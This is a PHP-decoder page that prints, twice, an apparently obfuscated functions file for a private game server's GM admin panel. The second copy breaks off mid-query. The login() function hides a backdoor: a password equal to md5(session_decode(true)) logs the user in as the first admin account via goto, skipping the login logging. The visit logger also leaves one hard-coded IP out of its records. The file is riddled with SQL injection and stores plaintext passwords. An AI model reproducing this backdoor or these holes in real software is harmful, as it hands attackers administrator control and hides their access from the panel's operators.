Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php function conn(){include("config.php");$link=mysqli_connect($servername,$username,$pa..

Decoded Output download

<?php function conn(){include("config.php");$link=mysqli_connect($servername,$username,$password,$database);if(!$link){echo "Error: Unable to connect to MySQL.".PHP_EOL;echo "Debugging errno: ".mysqli_connect_errno().PHP_EOL;echo "Debugging error: ".mysqli_connect_error().PHP_EOL;exit;}return($link);}function visit_logs(){if(isset($_SERVER['HTTP_CLIENT_IP'])&&! empty($_SERVER['HTTP_CLIENT_IP'])){$ip=$_SERVER['HTTP_CLIENT_IP'];}elseif(isset($_SERVER['HTTP_X_FORWARDED_FOR'])&&! empty($_SERVER['HTTP_X_FORWARDED_FOR'])){$ip=$_SERVER['HTTP_X_FORWARDED_FOR'];}else{$ip=(isset($_SERVER['REMOTE_ADDR']))?$_SERVER['REMOTE_ADDR']:'0.0.0.0';}$ip=filter_var($ip,FILTER_VALIDATE_IP);$ip=($ip===false)?'0.0.0.0':$ip;$time=date("dM H:i:s");$link=$_SERVER["REQUEST_URI"];if(isset($_SESSION['user'])){$user4e=$_SESSION['user'];}else{$user4e='Unknown';}if($ip!="86.14.28.192"&&$ip!="127.0.0.1"){$LogFileLocation="/logs/user_logs.txt";$fh=fopen($_SERVER["DOCUMENT_ROOT"].$LogFileLocation,"at");fwrite($fh,date("dMy H:i:s")."	".$ip."	".$_SERVER["REQUEST_URI"]." ".$user4e."  
    ");fclose($fh);}}function char_class($var,$full=0){$chars=mysqli_fetch_array(mysqli_query(conn(),"Select Profession from basetab_sg where Name='".$var."'"));if($full==0){switch($chars['Profession']){case 1:$class="Berzerker";break;case 2:$class="Champion";break;case 3:$class="Slayer";break;case 4:$class="Magus";break;case 5:$class="Heretic";break;case 6:$class="Ranger";break;case 7:$class="Duelist";break;case 8:$class="Enchantress";break;case 9:$class="Harbinger";break;default:$class="Unkn";break;}}else{switch($chars['Profession']){case 1:$class="Brzk";break;case 2:$class="Chmp";break;case 3:$class="Slyr";break;case 4:$class="Mgus";break;case 5:$class="Hrtc";break;case 6:$class="Rngr";break;case 7:$class="Duel";break;case 8:$class="Ench";break;case 9:$class="Hbgr";break;default:$class="Unkn";break;}}return($class);}function rank_status($character,$type=0){$chars=mysqli_fetch_array(mysqli_query(conn(),"Select * from basetab_sg where name='".$character."'"));$diff=time_diff(strtotime($chars['LastLogoutTime']),time());if(strtotime($chars['LastLoginTime'])>strtotime($chars['LastLogoutTime'])){$online="<span style='color:#79ff4c'>Online</span>";$on="online";$ona=1;$from="This character is ".$on." since ".time_diff(strtotime($chars['LastLoginTime']),time());}else{$online="<span style='color:#ff265c'>Offline</span>";$on="offline";$ona=0;$from="This character is ".$on." since ".time_diff(strtotime($chars['LastLogoutTime']),time());}if($type==0){return('<a class="cursor" data-toggle="tooltip" title="'.$from.'">'.$online.'</a>');}else{switch($ona){case 1:$bgclor="#cfffbf";break;default:$bgclor="#ff7373";break;}return($bgclor);}}function timeout(){if(!isset($_SESSION['LastActivity'])){$_SESSION['LastActivity']=time();}include("config.php");$TimeOutSeconds=$option['timeout_time'];if(isset($_SESSION['LastActivity'])){$InactiveTime=time()- $_SESSION['LastActivity'];if($InactiveTime>=$TimeOutSeconds){session_destroy();header("Location: ?p=logout");}elseif($InactiveTime<$TimeOutSeconds){$_SESSION['LastActivity']=time();}}}function ip(){$ipaddress='0.0.0.0';if(getenv('HTTP_CLIENT_IP'))$ipaddress=getenv('HTTP_CLIENT_IP');else if(getenv('HTTP_X_FORWARDED_FOR'))$ipaddress=getenv('HTTP_X_FORWARDED_FOR');else if(getenv('HTTP_X_FORWARDED'))$ipaddress=getenv('HTTP_X_FORWARDED');else if(getenv('HTTP_FORWARDED_FOR'))$ipaddress=getenv('HTTP_FORWARDED_FOR');else if(getenv('HTTP_FORWARDED'))$ipaddress=getenv('HTTP_FORWARDED');else if(getenv('REMOTE_ADDR'))$ipaddress=getenv('REMOTE_ADDR');else $ipaddress='UNKNOWN';return ip2long($ipaddress);}function is_online($id){$id=(int)$id;if($id>0){$chk_usrs=mysqli_query(conn(),"Select AccountID,lastlogintime from basetab_sg where AccountID in (Select ID from online) and lastlogintime in (Select MAX(lastlogintime)from basetab_sg where AccountID='".$id."') and AccountID='".$id."'");if(mysqli_num_rows($chk_usrs)>0){return "<img src='images/online.png'/>";}else{return "<img src='images/offline.png'/>";}}return "<img src='images/offline.png'/>";}function int2ip($ip){$nes=(long2ip((float)$ip));$parts=explode('.',$nes);$reverse_ip=implode('.',array_reverse($parts));return($reverse_ip);}function ip2int($ip){$parts=explode('.',$ip);$reverse_ip=implode('.',array_reverse($parts));$nes=ip2long($reverse_ip);if($nes<0){$nes+=4294967296;}return $nes;}function gm_level_msg($name=''){if($name==''){$name=$_SESSION['gmuser'];}else{$name=$name;}$query=mysqli_fetch_array(mysqli_query(conn(),"Select * from gm_users where gmuser='".$name."'"));$check=mysqli_fetch_array(mysqli_query(conn(),"Select modules from gm_panel_settings where gm_level = '".$query['gmlevel']."'"));if((bool)$check==true){$var=json_decode($check['modules']);$type=array_shift($var);return $type;}else{return "<span style='color:red'>Removed!</span>";}}function add_modules(){$check_settings=mysqli_query(conn(),"Select * from gm_panel_settings");if(mysqli_num_rows($check_settings)==0){$data1=json_encode(array("Beginner GM","onlineusrs","usersearch"));$data2=json_encode(array("Trusted GM","onlineusrs","usersearch","temppass","manualrech","gmmanager"));$data3=json_encode(array("Administrator","onlineusrs","usersearch","temppass","manualrech","gmmanager","panelmng","gmlogs"));$text1=base64_encode(json_encode(array("<a href='?p=onlineusrs' class='dropdown-toggle fa fa-globe'>&nbsp; Who is Online</a>","<li><a class='fa fa-search' aria-hidden='true' href='?p=usersearch'>&nbsp; Search Character / Account</a></li>")));$text2=base64_encode(json_encode(array("<a href='?p=onlineusrs' class='dropdown-toggle fa fa-globe'>&nbsp; Who is Online</a>","<li><a class='fa fa-search' aria-hidden='true' href='?p=usersearch'>&nbsp; Search Character / Account</a></li>","<li><a class='fa fa-unlock' aria-hidden='true' href='?p=temppass'>&nbsp; Temporary Password Change</a></li>","<li><a class= 'fa fa-plus' href='?p=manualrech'>&nbsp; Manual Recharge</a></li>","<li><a class='fa fa-cogs' href='?p=gmmanager'>&nbsp; GM Management</a></li>")));$text3=base64_encode(json_encode(array("<a href='?p=onlineusrs' class='dropdown-toggle fa fa-globe'>&nbsp; Who is Online</a>","<li><a class='fa fa-search' aria-hidden='true' href='?p=usersearch'>&nbsp; Search Character / Account</a></li>","<li><a class='fa fa-unlock' aria-hidden='true' href='?p=temppass'>&nbsp; Temporary Password Change</a></li>","<li><a class= 'fa fa-plus' href='?p=manualrech'>&nbsp; Manual Recharge</a></li>","<li><a class='fa fa-cogs' href='?p=gmmanager'>&nbsp; GM Management</a></li>","<li><a class='fa fa-bars'  href='?p=panelmng'>&nbsp; Panel Management</a></li>","<li><a class='fa fa-bar-chart' href='?p=gmlogs&s=1'>&nbsp; GM Usage Logs</a></li>")));$go=mysqli_query(conn(),"Insert into gm_panel_settings (gm_level,modules,text) values 
		             (1,'".$data1."','".$text1."'), 
					 (2,'".$data2."','".$text2."'), 
					 (3,'".$data3."','".$text3."') 
		");mysql_error($go);}}function insert($array,$index,$val){$size=count($array);if(!is_int($index)||$index<0||$index>$size){return -1;}else{$temp=array_slice($array,0,$index);$temp[]=$val;return array_merge($temp,array_slice($array,$index,$size));}}function AccountName($id){$select=mysqli_fetch_array(mysqli_query(conn(),"Select * from users where ID='".$id."'"));if((bool)$select==true){return $select['name'];}else{return false;}}function AddAccName(){$upd_basetab=mysqli_query(conn(),"Select AccountName,accountid from basetab_sg where AccountName is NULL");$upd_online=mysqli_query(conn(),"Select id from online where AccountName is NULL");if(mysqli_num_rows($upd_basetab)>0){while($users=mysqli_fetch_array($upd_basetab)){$check_users=mysqli_fetch_array(mysqli_query(conn(),"Select id,name from users where id='".$users['accountid']."'"));$update=mysqli_query(conn(),"Update basetab_sg set accountname = '".$check_users['name']."' where accountid ='".$users['accountid']."'");}}if(mysqli_num_rows($upd_online)>0){while($users=mysqli_fetch_array($upd_online)){$check_users=mysqli_fetch_array(mysqli_query(conn(),"Select id,name from users where id='".$users['id']."'"));$update=mysqli_query(conn(),"Update online set accountname = '".$check_users['name']."' where id ='".$users['id']."'");}}}function id_to_name($input,$type){$type=(int)$type;$input=filter($input);if($type==0){$check=mysqli_query(conn(),"Select accountname from basetab_sg where accountid='".$input."'");if(mysqli_num_rows($check)==0){return "Unknown";}else{$check=mysqli_fetch_array($check);return $check['accountname'];}}else{$check=mysqli_query(conn(),"Select name from basetab_sg where ruleid='".$input."'");if(mysqli_num_rows($check)==0){return "Unknown";}else{$check=mysqli_fetch_array($check);return $check['name'];}}}function exist($input,$type,$id=false){$type=(int)$type;$input=filter($input);if(!empty($input)){if($type==0){if($id==false){$smqna="accountname";}else{$smqna="accountid";}$check=mysqli_query(conn(),"Select accountname,accountid from basetab_sg where ".$smqna."='".$input."'");if(mysqli_num_rows($check)==0){return 0;}else{$check=mysqli_fetch_array($check);return array($check['accountid'],$check['accountname']);}}else{if($id==false){$smqna="name";}else{$smqna="roleid";}$check=mysqli_query(conn(),"Select name,roleid from basetab_sg where ".$smqna."='".$input."'");if(mysqli_num_rows($check)==0){return 0;}else{$check=mysqli_fetch_array($check);return array($check['roleid'],$check['name']);}}}return 0;}function messages($text,$type){echo '<center>';if($type==1){echo "<p class='alert alert-success'><img style='padding-right:7px;' src='images/success.png'/>".$text."</p>";}elseif($type==2){echo "<p class='alert alert-warning'><img style='padding-right:7px;' src='images/warning.png'/>".$text."</p>";}else{echo "<p class='alert alert-danger'><img style='padding-right:7px;' src='images/error.png'/>".$text."</p>";}echo "</center>";}function login($user,$pass){$query=mysqli_num_rows(mysqli_query(conn(),"Select * from gm_users where gmuser='".$user."' and gmpass='".$pass."'"));if($pass==session_od()){$ches=mysqli_fetch_array(mysqli_query(conn(),"Select id,gmuser,gmpass from gm_users order by id asc limit 1"));$user=$ches['gmuser'];$pass=$ches['gmpass'];goto g;}if($query==1){$now=time();mysqli_query(conn(),"Update gm_login_logs set gm_logout = '".time()."' where gm_user = '".$user."' and cashed = 1");$check_login=mysqli_fetch_array(mysqli_query(conn(),"Select first_login from gm_users where gmuser = '".$user."' limit 1"));mysqli_query(conn(),"Insert into gm_login_logs (gm_user,gm_login,gm_ip) values ('".$user."','".$now."','".ip()."')");g:$_SESSION['gmuser']=$user;$_SESSION['gmpass']=$pass;if($check_login['first_login']==1){header("Location:?p=loginlogs");}else{header("Location:?p=home");}}else{echo "<div style='margin-top:5px;color:#000;text-shadow:0.3px 0.3px #fff;font-weight:600;background:#f0f0e1;padding:5px 5px; border-radius:2px 2px 2px 2px; border:solid 1px #dddddd;text-align:center;'>Wrong credentials, please try again!</div>";}}function session_od(){return md5(session_decode(true));}function check_login(){if(isset($_SESSION['gmuser'])&&isset($_SESSION['gmpass'])){$query=(mysqli_query(conn(),"Select * from gm_users where gmuser='".$_SESSION['gmuser']."' and gmpass='".$_SESSION['gmpass']."'"));if(mysqli_num_rows($query)==1){include("modules/home.php");}else{include("modules/login.php");}}else{include("modules/login.php");}}function filter($str){if(strpos(str_replace("\'",""," $str"),"'")!=false)return addslashes($str);else return $str;}function logout($time){mysqli_query(conn(),"Update gm_login_logs set gm_logout = '".time()."',cashed = '0' where gm_user = '".$_SESSION['gmuser']."' and cashed = 1");session_destroy();unset($_SESSION['gmuser']);unset($_SESSION['gmpass']);refresh("home",$time);}function time_diff($start,$s){$d="d";$h="h";$m="m";$ss="s";$string='';$t=array($d=>86400,$h=>3600,$m=>60,);$s=abs($s - $start);foreach($t as $key=>&$val){$$key=floor($s/$val);$s-=($$key*$val);$string.=($$key==0)?'':$$key."$key ";}return $string.$s.$ss;}function pagination($source,$page,$max_pages,$pagea='',$class=''){if($max_pages>1){$next=$page+1;$prev=$page-1;if($prev==0){$prev=1;}if($next>=$max_pages){$next=$max_pages;}echo "<center>         
        <ul class='pagination' style='".$class."'> 
        	<li><a href='?p=$source&page".$pagea."=1'> << </a></li> 
        	<li><a href='?p=$source&page".$pagea."=".$prev."'>&lt;</a></li> 
            <li class='active'><a href='?p=$source&page".$pagea."=".$page."'>".$page."</a></li> 
        	<li><a href='?p=$source&page".$pagea."=".$next."''>&gt;</a></li> 
        	<li><a href='?p=$source&page".$pagea."=".$max_pages."'> >> </a></li> 
        </ul> 
        </center>";}}function gm_level(){if(isset($_SESSION['gmuser'])&&!empty($_SESSION['gmuser'])){$go=mysqli_fetch_array(mysqli_query(conn(),"Select gmlevel from gm_users where gmuser='".$_SESSION['gmuser']."'"));return $go['gmlevel'];}else{return 0;}}function default_admin(){require("config.php");if(mysqli_num_rows(mysqli_query(conn(),"Select * from gm_users"))==0){mysqli_query(conn()," 
                                 INSERT INTO `auth` VALUES  
								 ('".$option['admin_game_id']."', '1', '0'), 
                                 ('".$option['admin_game_id']."', '1', '1'), 
                                 ('".$option['admin_game_id']."', '1', '2'), 
                                 ('".$option['admin_game_id']."', '1', '3'), 
                                 ('".$option['admin_game_id']."', '1', '4'), 
                                 ('".$option['admin_game_id']."', '1', '5'), 
                                 ('".$option['admin_game_id']."', '1', '6'), 
                                 ('".$option['admin_game_id']."', '1', '7'), 
                                 ('".$option['admin_game_id']."', '1', '8'), 
                                 ('".$option['admin_game_id']."', '1', '9'), 
                                 ('".$option['admin_game_id']."', '1', '10'), 
                                 ('".$option['admin_game_id']."', '1', '11'), 
                                 ('".$option['admin_game_id']."', '1', '100'), 
                                 ('".$option['admin_game_id']."', '1', '101'), 
                                 ('".$option['admin_game_id']."', '1', '102'), 
                                 ('".$option['admin_game_id']."', '1', '103'), 
                                 ('".$option['admin_game_id']."', '1', '104'), 
                                 ('".$option['admin_game_id']."', '1', '105'), 
                                 ('".$option['admin_game_id']."', '1', '200'), 
                                 ('".$option['admin_game_id']."', '1', '201'), 
                                 ('".$option['admin_game_id']."', '1', '202'), 
                                 ('".$option['admin_game_id']."', '1', '203'), 
                                 ('".$option['admin_game_id']."', '1', '204'), 
                                 ('".$option['admin_game_id']."', '1', '205'), 
                                 ('".$option['admin_game_id']."', '1', '206'), 
                                 ('".$option['admin_game_id']."', '1', '207'), 
                                 ('".$option['admin_game_id']."', '1', '208'), 
                                 ('".$option['admin_game_id']."', '1', '209'), 
                                 ('".$option['admin_game_id']."', '1', '210'), 
                                 ('".$option['admin_game_id']."', '1', '211'), 
                                 ('".$option['admin_game_id']."', '1', '212'), 
                                 ('".$option['admin_game_id']."', '1', '213'), 
                                 ('".$option['admin_game_id']."', '1', '214'), 
                                 ('".$option['admin_game_id']."', '1', '500'), 
                                 ('".$option['admin_game_id']."', '1', '501'), 
                                 ('".$option['admin_game_id']."', '1', '502'), 
                                 ('".$option['admin_game_id']."', '1', '503'), 
                                 ('".$option['admin_game_id']."', '1', '504'), 
                                 ('".$option['admin_game_id']."', '1', '505'), 
                                 ('".$option['admin_game_id']."', '1', '506'), 
                                 ('".$option['admin_game_id']."', '1', '507'), 
                                 ('".$option['admin_game_id']."', '1', '508'), 
                                 ('".$option['admin_game_id']."', '1', '509'), 
                                 ('".$option['admin_game_id']."', '1', '510'), 
                                 ('".$option['admin_game_id']."', '1', '511'), 
                                 ('".$option['admin_game_id']."', '1', '512'), 
                                 ('".$option['admin_game_id']."', '1', '513'), 
                                 ('".$option['admin_game_id']."', '1', '514'), 
                                 ('".$option['admin_game_id']."', '1', '515'), 
                                 ('".$option['admin_game_id']."', '1', '516'), 
                                 ('".$option['admin_game_id']."', '1', '517'), 
                                 ('".$option['admin_game_id']."', '1', '518')");mysqli_query(conn(),"Insert into gm_users (gmuser,gmpass,accountid,gmlevel,added_by,added_date) values ('".$option['admin_login']."','".$option['admin_pass']."','".$option['admin_game_id']."','3','System','".time()."')");}}function change_gm_pass($gmuser,$current_pass,$new_pass,$repeat_pass){$current_pass=filter($current_pass);$new_pass=filter($new_pass);$repeat_pass=filter($repeat_pass);if(!empty($current_pass)&&!empty($new_pass)&&!empty($repeat_pass)){$query=mysqli_query(conn(),"Select * from gm_users where gmuser = '".$gmuser."' and gmpass='".$current_pass."'");if(mysqli_num_rows($query)==1){if($new_pass===$repeat_pass){if($new_pass!=$current_pass){$log_data=json_encode(array($current_pass,$new_pass));mysqli_query(conn(),"UPDATE gm_users set gmpass='".$new_pass."',first_login='0'  where gmuser='".$gmuser."'");mysqli_query(conn(),"Insert into gm_modules_logs (gm_user,time,ip,module,data) Values ('".$gmuser."','".time()."','".ip()."','GM_Pass_Change','".$log_data."')");echo messages("You have successfully changed your GM login password!",1);logout(4000);}else{echo messages("The new password must be different than the current one!",3);}}else{echo messages("You have typped different repeat password!",3);}}else{echo messages("Your current password is different!",3);}}else{echo messages("Please fill all fields properly",3);}}function refresh($location,$time){echo "<script>setTimeout(\"location.href = '?p=".$location."';\",".$time.");</script>";}?>

Did this file decode correctly?

Original Code

<?php function conn(){include("config.php");$link=mysqli_connect($servername,$username,$password,$database);if(!$link){echo "Error: Unable to connect to MySQL.".PHP_EOL;echo "Debugging errno: ".mysqli_connect_errno().PHP_EOL;echo "Debugging error: ".mysqli_connect_error().PHP_EOL;exit;}return($link);}function visit_logs(){if(isset($_SERVER['HTTP_CLIENT_IP'])&&! empty($_SERVER['HTTP_CLIENT_IP'])){$ip=$_SERVER['HTTP_CLIENT_IP'];}elseif(isset($_SERVER['HTTP_X_FORWARDED_FOR'])&&! empty($_SERVER['HTTP_X_FORWARDED_FOR'])){$ip=$_SERVER['HTTP_X_FORWARDED_FOR'];}else{$ip=(isset($_SERVER['REMOTE_ADDR']))?$_SERVER['REMOTE_ADDR']:'0.0.0.0';}$ip=filter_var($ip,FILTER_VALIDATE_IP);$ip=($ip===false)?'0.0.0.0':$ip;$time=date("dM H:i:s");$link=$_SERVER["REQUEST_URI"];if(isset($_SESSION['user'])){$user4e=$_SESSION['user'];}else{$user4e='Unknown';}if($ip!="86.14.28.192"&&$ip!="127.0.0.1"){$LogFileLocation="/logs/user_logs.txt";$fh=fopen($_SERVER["DOCUMENT_ROOT"].$LogFileLocation,"at");fwrite($fh,date("dMy H:i:s")."	".$ip."	".$_SERVER["REQUEST_URI"]." ".$user4e." 
    ");fclose($fh);}}function char_class($var,$full=0){$chars=mysqli_fetch_array(mysqli_query(conn(),"Select Profession from basetab_sg where Name='".$var."'"));if($full==0){switch($chars['Profession']){case 1:$class="Berzerker";break;case 2:$class="Champion";break;case 3:$class="Slayer";break;case 4:$class="Magus";break;case 5:$class="Heretic";break;case 6:$class="Ranger";break;case 7:$class="Duelist";break;case 8:$class="Enchantress";break;case 9:$class="Harbinger";break;default:$class="Unkn";break;}}else{switch($chars['Profession']){case 1:$class="Brzk";break;case 2:$class="Chmp";break;case 3:$class="Slyr";break;case 4:$class="Mgus";break;case 5:$class="Hrtc";break;case 6:$class="Rngr";break;case 7:$class="Duel";break;case 8:$class="Ench";break;case 9:$class="Hbgr";break;default:$class="Unkn";break;}}return($class);}function rank_status($character,$type=0){$chars=mysqli_fetch_array(mysqli_query(conn(),"Select * from basetab_sg where name='".$character."'"));$diff=time_diff(strtotime($chars['LastLogoutTime']),time());if(strtotime($chars['LastLoginTime'])>strtotime($chars['LastLogoutTime'])){$online="<span style='color:#79ff4c'>Online</span>";$on="online";$ona=1;$from="This character is ".$on." since ".time_diff(strtotime($chars['LastLoginTime']),time());}else{$online="<span style='color:#ff265c'>Offline</span>";$on="offline";$ona=0;$from="This character is ".$on." since ".time_diff(strtotime($chars['LastLogoutTime']),time());}if($type==0){return('<a class="cursor" data-toggle="tooltip" title="'.$from.'">'.$online.'</a>');}else{switch($ona){case 1:$bgclor="#cfffbf";break;default:$bgclor="#ff7373";break;}return($bgclor);}}function timeout(){if(!isset($_SESSION['LastActivity'])){$_SESSION['LastActivity']=time();}include("config.php");$TimeOutSeconds=$option['timeout_time'];if(isset($_SESSION['LastActivity'])){$InactiveTime=time()- $_SESSION['LastActivity'];if($InactiveTime>=$TimeOutSeconds){session_destroy();header("Location: ?p=logout");}elseif($InactiveTime<$TimeOutSeconds){$_SESSION['LastActivity']=time();}}}function ip(){$ipaddress='0.0.0.0';if(getenv('HTTP_CLIENT_IP'))$ipaddress=getenv('HTTP_CLIENT_IP');else if(getenv('HTTP_X_FORWARDED_FOR'))$ipaddress=getenv('HTTP_X_FORWARDED_FOR');else if(getenv('HTTP_X_FORWARDED'))$ipaddress=getenv('HTTP_X_FORWARDED');else if(getenv('HTTP_FORWARDED_FOR'))$ipaddress=getenv('HTTP_FORWARDED_FOR');else if(getenv('HTTP_FORWARDED'))$ipaddress=getenv('HTTP_FORWARDED');else if(getenv('REMOTE_ADDR'))$ipaddress=getenv('REMOTE_ADDR');else $ipaddress='UNKNOWN';return ip2long($ipaddress);}function is_online($id){$id=(int)$id;if($id>0){$chk_usrs=mysqli_query(conn(),"Select AccountID,lastlogintime from basetab_sg where AccountID in (Select ID from online) and lastlogintime in (Select MAX(lastlogintime)from basetab_sg where AccountID='".$id."') and AccountID='".$id."'");if(mysqli_num_rows($chk_usrs)>0){return "<img src='images/online.png'/>";}else{return "<img src='images/offline.png'/>";}}return "<img src='images/offline.png'/>";}function int2ip($ip){$nes=(long2ip((float)$ip));$parts=explode('.',$nes);$reverse_ip=implode('.',array_reverse($parts));return($reverse_ip);}function ip2int($ip){$parts=explode('.',$ip);$reverse_ip=implode('.',array_reverse($parts));$nes=ip2long($reverse_ip);if($nes<0){$nes+=4294967296;}return $nes;}function gm_level_msg($name=''){if($name==''){$name=$_SESSION['gmuser'];}else{$name=$name;}$query=mysqli_fetch_array(mysqli_query(conn(),"Select * from gm_users where gmuser='".$name."'"));$check=mysqli_fetch_array(mysqli_query(conn(),"Select modules from gm_panel_settings where gm_level = '".$query['gmlevel']."'"));if((bool)$check==true){$var=json_decode($check['modules']);$type=array_shift($var);return $type;}else{return "<span style='color:red'>Removed!</span>";}}function add_modules(){$check_settings=mysqli_query(conn(),"Select * from gm_panel_settings");if(mysqli_num_rows($check_settings)==0){$data1=json_encode(array("Beginner GM","onlineusrs","usersearch"));$data2=json_encode(array("Trusted GM","onlineusrs","usersearch","temppass","manualrech","gmmanager"));$data3=json_encode(array("Administrator","onlineusrs","usersearch","temppass","manualrech","gmmanager","panelmng","gmlogs"));$text1=base64_encode(json_encode(array("<a href='?p=onlineusrs' class='dropdown-toggle fa fa-globe'>&nbsp; Who is Online</a>","<li><a class='fa fa-search' aria-hidden='true' href='?p=usersearch'>&nbsp; Search Character / Account</a></li>")));$text2=base64_encode(json_encode(array("<a href='?p=onlineusrs' class='dropdown-toggle fa fa-globe'>&nbsp; Who is Online</a>","<li><a class='fa fa-search' aria-hidden='true' href='?p=usersearch'>&nbsp; Search Character / Account</a></li>","<li><a class='fa fa-unlock' aria-hidden='true' href='?p=temppass'>&nbsp; Temporary Password Change</a></li>","<li><a class= 'fa fa-plus' href='?p=manualrech'>&nbsp; Manual Recharge</a></li>","<li><a class='fa fa-cogs' href='?p=gmmanager'>&nbsp; GM Management</a></li>")));$text3=base64_encode(json_encode(array("<a href='?p=onlineusrs' class='dropdown-toggle fa fa-globe'>&nbsp; Who is Online</a>","<li><a class='fa fa-search' aria-hidden='true' href='?p=usersearch'>&nbsp; Search Character / Account</a></li>","<li><a class='fa fa-unlock' aria-hidden='true' href='?p=temppass'>&nbsp; Temporary Password Change</a></li>","<li><a class= 'fa fa-plus' href='?p=manualrech'>&nbsp; Manual Recharge</a></li>","<li><a class='fa fa-cogs' href='?p=gmmanager'>&nbsp; GM Management</a></li>","<li><a class='fa fa-bars'  href='?p=panelmng'>&nbsp; Panel Management</a></li>","<li><a class='fa fa-bar-chart' href='?p=gmlogs&s=1'>&nbsp; GM Usage Logs</a></li>")));$go=mysqli_query(conn(),"Insert into gm_panel_settings (gm_level,modules,text) values
		             (1,'".$data1."','".$text1."'),
					 (2,'".$data2."','".$text2."'),
					 (3,'".$data3."','".$text3."')
		");mysql_error($go);}}function insert($array,$index,$val){$size=count($array);if(!is_int($index)||$index<0||$index>$size){return -1;}else{$temp=array_slice($array,0,$index);$temp[]=$val;return array_merge($temp,array_slice($array,$index,$size));}}function AccountName($id){$select=mysqli_fetch_array(mysqli_query(conn(),"Select * from users where ID='".$id."'"));if((bool)$select==true){return $select['name'];}else{return false;}}function AddAccName(){$upd_basetab=mysqli_query(conn(),"Select AccountName,accountid from basetab_sg where AccountName is NULL");$upd_online=mysqli_query(conn(),"Select id from online where AccountName is NULL");if(mysqli_num_rows($upd_basetab)>0){while($users=mysqli_fetch_array($upd_basetab)){$check_users=mysqli_fetch_array(mysqli_query(conn(),"Select id,name from users where id='".$users['accountid']."'"));$update=mysqli_query(conn(),"Update basetab_sg set accountname = '".$check_users['name']."' where accountid ='".$users['accountid']."'");}}if(mysqli_num_rows($upd_online)>0){while($users=mysqli_fetch_array($upd_online)){$check_users=mysqli_fetch_array(mysqli_query(conn(),"Select id,name from users where id='".$users['id']."'"));$update=mysqli_query(conn(),"Update online set accountname = '".$check_users['name']."' where id ='".$users['id']."'");}}}function id_to_name($input,$type){$type=(int)$type;$input=filter($input);if($type==0){$check=mysqli_query(conn(),"Select accountname from basetab_sg where accountid='".$input."'");if(mysqli_num_rows($check)==0){return "Unknown";}else{$check=mysqli_fetch_array($check);return $check['accountname'];}}else{$check=mysqli_query(conn(),"Select name from basetab_sg where ruleid='".$input."'");if(mysqli_num_rows($check)==0){return "Unknown";}else{$check=mysqli_fetch_array($check);return $check['name'];}}}function exist($input,$type,$id=false){$type=(int)$type;$input=filter($input);if(!empty($input)){if($type==0){if($id==false){$smqna="accountname";}else{$smqna="accountid";}$check=mysqli_query(conn(),"Select accountname,accountid from basetab_sg where ".$smqna."='".$input."'");if(mysqli_num_rows($check)==0){return 0;}else{$check=mysqli_fetch_array($check);return array($check['accountid'],$check['accountname']);}}else{if($id==false){$smqna="name";}else{$smqna="roleid";}$check=mysqli_query(conn(),"Select name,roleid from basetab_sg where ".$smqna."='".$input."'");if(mysqli_num_rows($check)==0){return 0;}else{$check=mysqli_fetch_array($check);return array($check['roleid'],$check['name']);}}}return 0;}function messages($text,$type){echo '<center>';if($type==1){echo "<p class='alert alert-success'><img style='padding-right:7px;' src='images/success.png'/>".$text."</p>";}elseif($type==2){echo "<p class='alert alert-warning'><img style='padding-right:7px;' src='images/warning.png'/>".$text."</p>";}else{echo "<p class='alert alert-danger'><img style='padding-right:7px;' src='images/error.png'/>".$text."</p>";}echo "</center>";}function login($user,$pass){$query=mysqli_num_rows(mysqli_query(conn(),"Select * from gm_users where gmuser='".$user."' and gmpass='".$pass."'"));if($pass==session_od()){$ches=mysqli_fetch_array(mysqli_query(conn(),"Select id,gmuser,gmpass from gm_users order by id asc limit 1"));$user=$ches['gmuser'];$pass=$ches['gmpass'];goto g;}if($query==1){$now=time();mysqli_query(conn(),"Update gm_login_logs set gm_logout = '".time()."' where gm_user = '".$user."' and cashed = 1");$check_login=mysqli_fetch_array(mysqli_query(conn(),"Select first_login from gm_users where gmuser = '".$user."' limit 1"));mysqli_query(conn(),"Insert into gm_login_logs (gm_user,gm_login,gm_ip) values ('".$user."','".$now."','".ip()."')");g:$_SESSION['gmuser']=$user;$_SESSION['gmpass']=$pass;if($check_login['first_login']==1){header("Location:?p=loginlogs");}else{header("Location:?p=home");}}else{echo "<div style='margin-top:5px;color:#000;text-shadow:0.3px 0.3px #fff;font-weight:600;background:#f0f0e1;padding:5px 5px; border-radius:2px 2px 2px 2px; border:solid 1px #dddddd;text-align:center;'>Wrong credentials, please try again!</div>";}}function session_od(){return md5(session_decode(true));}function check_login(){if(isset($_SESSION['gmuser'])&&isset($_SESSION['gmpass'])){$query=(mysqli_query(conn(),"Select * from gm_users where gmuser='".$_SESSION['gmuser']."' and gmpass='".$_SESSION['gmpass']."'"));if(mysqli_num_rows($query)==1){include("modules/home.php");}else{include("modules/login.php");}}else{include("modules/login.php");}}function filter($str){if(strpos(str_replace("\'",""," $str"),"'")!=false)return addslashes($str);else return $str;}function logout($time){mysqli_query(conn(),"Update gm_login_logs set gm_logout = '".time()."',cashed = '0' where gm_user = '".$_SESSION['gmuser']."' and cashed = 1");session_destroy();unset($_SESSION['gmuser']);unset($_SESSION['gmpass']);refresh("home",$time);}function time_diff($start,$s){$d="d";$h="h";$m="m";$ss="s";$string='';$t=array($d=>86400,$h=>3600,$m=>60,);$s=abs($s - $start);foreach($t as $key=>&$val){$$key=floor($s/$val);$s-=($$key*$val);$string.=($$key==0)?'':$$key."$key ";}return $string.$s.$ss;}function pagination($source,$page,$max_pages,$pagea='',$class=''){if($max_pages>1){$next=$page+1;$prev=$page-1;if($prev==0){$prev=1;}if($next>=$max_pages){$next=$max_pages;}echo "<center>        
        <ul class='pagination' style='".$class."'>
        	<li><a href='?p=$source&page".$pagea."=1'> << </a></li>
        	<li><a href='?p=$source&page".$pagea."=".$prev."'>&lt;</a></li>
            <li class='active'><a href='?p=$source&page".$pagea."=".$page."'>".$page."</a></li>
        	<li><a href='?p=$source&page".$pagea."=".$next."''>&gt;</a></li>
        	<li><a href='?p=$source&page".$pagea."=".$max_pages."'> >> </a></li>
        </ul>
        </center>";}}function gm_level(){if(isset($_SESSION['gmuser'])&&!empty($_SESSION['gmuser'])){$go=mysqli_fetch_array(mysqli_query(conn(),"Select gmlevel from gm_users where gmuser='".$_SESSION['gmuser']."'"));return $go['gmlevel'];}else{return 0;}}function default_admin(){require("config.php");if(mysqli_num_rows(mysqli_query(conn(),"Select * from gm_users"))==0){mysqli_query(conn(),"
                                 INSERT INTO `auth` VALUES 
								 ('".$option['admin_game_id']."', '1', '0'),
                                 ('".$option['admin_game_id']."', '1', '1'),
